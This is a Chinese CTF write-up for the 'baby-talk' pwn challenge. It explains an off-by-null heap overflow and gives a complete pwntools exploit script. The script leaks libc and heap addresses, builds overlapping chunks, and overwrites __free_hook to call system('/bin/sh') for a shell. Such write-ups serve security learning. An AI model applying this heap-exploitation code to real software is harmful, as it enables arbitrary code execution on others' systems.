baby-talk
题目给了 Dockerfile
,但由于笔者 docker
环境存在问题启动不起来,所以这里用虚拟机环境做了(没错,由于不知道远程 glibc
版本,所以笔者远程也没打通)笔者本地环境为 glibc 2.31-0ubuntu9.9
。然后比赛结束,作者在 github
上给出了 libc
其版本为 2.27
(乐,比赛不给…)
漏洞:溢出写 null
字节
在增加堆块时,写入内容后没有添加 \x00
由于上述写入时没有添加 \x00
,所以这里导致可以向后溢出写 null
字节
举个例子就懂了:可以看到这里我们可以修改下一个堆块的 size
的低字节为 \x00
从而去 overlapping
漏洞利用:
- 泄漏
libc_base
和heap_base
:这个比较简单,因为每次写入内容时没有添加\x00
,所以我们可以利用堆块上残余的地址进行libc_base
和heap_base
的泄漏 chunk overlapping
劫持free_hook
exp
如下:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'
io = process("./chall")
#io = remote("mc.ax", 32526)
elf = ELF("./chall", checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so", checksec=False)
def debug():
gdb.attach(io)
pause()
sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
menu = b'> '
def add(size, string):
sla(menu, b'1')
sla(b'size? ', byte(size))
sda(b'str? ', string)
def tok(idx, delim):
sla(menu, b'2')
sla(b'idx? ', byte(idx))
sda(b'delim? ', delim)
def dele(idx):
sla(menu, b'3')
sla(b'idx? ', byte(idx))
add(0x410, b'A\n')
add(0x420, b'A\n')
dele(0)
add(0x420, b'A\n')
add(0x410, b'\n')
tok(2, b'\x00\n')
libc_base = addr8(6) - 0x1ecf0a
info("libc_base", libc_base)
dele(2)
dele(0)
add(0x420, b'A\n')
add(0x410, b'A'*0x10)
tok(2, b'\x00\n')
rut(b'A'*0x10)
heap_base = addr8(6) - 0x290
info("heap_base", heap_base)
dele(0)
dele(1)
dele(2)
add(0x20, p64(0) + p64(0x61) + p64(heap_base+0x290+0x10)*2)
add(0x18, b'A\n')
add(0x18, b'A\n')
add(0x4f8, b'A\n')
add(0x18, b'A\n')
dele(2)
add(0x18, b'A'*0x10 + b'\x60' + b'ABCDEFG')
tok(2, b'\x01\n')
tok(2, b'G\n')
tok(2, b'F\n')
tok(2, b'E\n')
tok(2, b'D\n')
tok(2, b'C\n')
tok(2, b'B\n')
tok(2, b'A\n')
dele(3)
dele(4)
dele(2)
add(0x50, b'A'*0x40 + p64(libc_base+libc.sym.__free_hook) + p64(heap_base+0x10))
add(0x10, b'/bin/sh\x00')
add(0x10, p64(libc_base+libc.sym.system))
dele(3)
#debug()
sh()
效果如下:
其它题目有点抽象就不看了…